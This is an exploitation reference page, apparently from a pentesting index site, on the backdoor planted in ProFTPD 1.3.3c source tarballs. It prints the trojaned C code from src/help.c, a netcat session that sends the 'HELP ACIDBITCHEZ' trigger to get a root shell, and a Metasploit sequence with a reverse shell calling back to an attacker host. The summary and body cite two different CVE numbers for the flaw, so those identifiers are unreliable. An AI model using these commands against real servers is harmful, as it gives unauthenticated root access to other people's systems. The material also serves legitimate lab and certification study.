# ProFTPD 1.3.3c Backdoor

> Exploit the ProFTPD 1.3.3c backdoor (CVE-2010-4221) introduced via a compromised source tarball, granting unauthenticated remote root shell access.

- **URL:** https://hackindex.io/services/ftp/exploitation/proftpd-133c
- **Path:** FTP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ftp/exploitation.md)
- **Published:** 2025-12-29
- **Updated:** 2026-07-09

**CVE**: CVE-2010-20103

The ProFTPD 1.3.3c backdoor stems from a real-world supply-chain attack in late 2010. Attackers compromised the official ProFTPD distribution server and replaced the source tarballs (proftpd-1.3.3c.tar.gz/bz2) with trojaned versions for a few days (Nov 28 - Dec 2). Anyone who compiled and installed from those files got a daemon with a deliberate root backdoor.

- **Trigger** send HELP ACIDBITCHEZ via the FTP control channel to activate the backdoor.
- **Impact** unauthenticated remote root shell, since ProFTPD typically runs as root.
- **Manual exploitation** connect with netcat, send the trigger, and run commands directly as root.
- **Metasploit module** exploit/unix/ftp/proftpd_133c_backdoor automates the trigger and payload delivery.

## **Technical Details**

The malicious code lives in src/help.c. The attackers added a check in the HELP command handler:

```c
if (strcmp(target, "ACIDBITCHEZ") == 0) {
  setuid(0);
  setgid(0);
  system("/bin/sh;/sbin/sh");
}
```

When the FTP client sends HELP ACIDBITCHEZ, the server spawns /bin/sh as root (since ProFTPD typically runs as root) and pipes subsequent input lines directly to it. Output from commands is sent back as HELP responses. No authentication required. Subsequent lines on the connection are treated as shell commands executed with root privileges.

This gives unauthenticated remote root command execution. Instant game over.

## 

## Manual Exploitation

Connect with netcat or telnet:

```bash
nc $TARGET_IP 21
HELP ACIDBITCHEZ
id
# uid=0(root) gid=0(root) ...
```

All commands run as root.

## Metasploit Module

> [!WARNING]
> This may be restricted in exams such as OSCP. Metasploit modules are limited to one machine per exam. Prefer the manual exploitation shown above; msfvenom payload generation and custom scripts stay allowed.

```bash
use exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS $TARGET_IP
set payload cmd/unix/reverse_perl   # or reverse_bash, bind_tcp, etc.
set LHOST $ATTACKER_IP
exploit
```

The module sends HELP ACIDBITCHEZ, verifies the backdoor is active, then delivers the payload command (wrapped in nohup for background execution). Drops a root meterpreter or command shell.

## References

- [Theo Chen's writeup on exploiting ProFTPD 1.3.3c backdoor](https://blog.theo.com.tw/Writeups/VulnHub/VulnHub-Basic-Pentesting-1/) - Providing Exact malicious C code snippet from backdoored ProFTPD 1.3.3c src/help.c
- [CVE-2010-20103](https://nvd.nist.gov/vuln/detail/CVE-2010-20103) - NIST details on CVE-2010-20103